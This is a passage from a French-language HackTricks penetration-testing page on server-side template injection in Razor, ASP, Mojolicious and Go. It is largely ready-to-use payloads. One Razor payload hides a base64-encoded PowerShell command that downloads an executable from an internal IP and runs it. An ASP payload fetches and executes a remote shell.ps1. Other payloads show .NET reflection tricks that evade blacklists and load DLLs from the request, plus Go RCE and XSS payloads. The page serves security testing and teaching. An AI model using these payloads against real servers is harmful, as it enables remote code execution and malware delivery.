  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

La mĂ©thode .NET System.Diagnostics.Process.Start peut ĂȘtre utilisĂ©e pour dĂ©marrer n'importe quel processus sur le serveur et ainsi crĂ©er un webshell. Vous pouvez trouver un exemple d'application web vulnĂ©rable sur https://github.com/cnotin/RazorVulnerableApp

Plus d'informations

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Rien
  • <%= response.write(date()) %> = <Date>
xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Plus d'informations

Contournement des restrictions .Net

Les mĂ©canismes de rĂ©flexion .NET peuvent ĂȘtre utilisĂ©s pour contourner le blacklistage ou l'absence de classes dans l'assembly. Les DLL peuvent ĂȘtre chargĂ©es Ă  l'exĂ©cution avec des mĂ©thodes et des propriĂ©tĂ©s accessibles Ă  partir d'objets de base.

Les DLL peuvent ĂȘtre chargĂ©es avec :

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - depuis le systĂšme de fichiers.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directement depuis la requĂȘte.

Exécution complÚte de la commande :

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Plus d'informations

Mojolicious (Perl)

MĂȘme si c'est Perl, il utilise des balises comme ERB en Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI en GO

Dans le moteur de template de Go, la confirmation de son utilisation peut ĂȘtre faite avec des payloads spĂ©cifiques :

  • {{ . }} : RĂ©vĂšle la structure de donnĂ©es d'entrĂ©e. Par exemple, si un objet avec un attribut Password est passĂ©, {{ .Password }} pourrait l'exposer.
  • {{printf "%s" "ssti" }} : Devrait afficher la chaĂźne "ssti".
  • {{html "ssti"}}, {{js "ssti"}} : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent ĂȘtre explorĂ©es dans la documentation de Go ici.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

Exploitation XSS

Avec le package text/template, l'XSS peut ĂȘtre simple en insĂ©rant le payload directement. En revanche, le package html/template encode la rĂ©ponse pour prĂ©venir cela (par exemple, {{"<script>alert(1)</script>"}} donne &lt;script&gt;alert(1)&lt;/script&gt;). NĂ©anmoins, la dĂ©finition et l'invocation de template en Go peuvent contourner cette encodage : {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

Exploitation RCE

L'exploitation RCE diffĂšre considĂ©rablement entre html/template et text/template. Le module text/template permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur “call”), ce qui n'est pas permis dans html/template. La documentation pour ces modules est disponible ici pour html/template et ici pour text/template.

Pour RCE via SSTI en Go, les mĂ©thodes d'objet peuvent ĂȘtre invoquĂ©es. Par exemple, si l'objet fourni a une mĂ©thode System exĂ©cutant des commandes, il peut ĂȘtre exploitĂ© comme {{ .System "ls" }}. AccĂ©der au code source est gĂ©nĂ©ralement nĂ©cessaire pour exploiter cela, comme dans l'exemple donnĂ© :

go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Plus d'informations

Plus d'exploits

Vérifiez le reste de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les tags dans https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

PDF BlackHat

Aide Connexe

Si vous pensez que cela pourrait ĂȘtre utile, lisez :

Outils

Liste de Détection de Brute-Force

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Pratique & Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks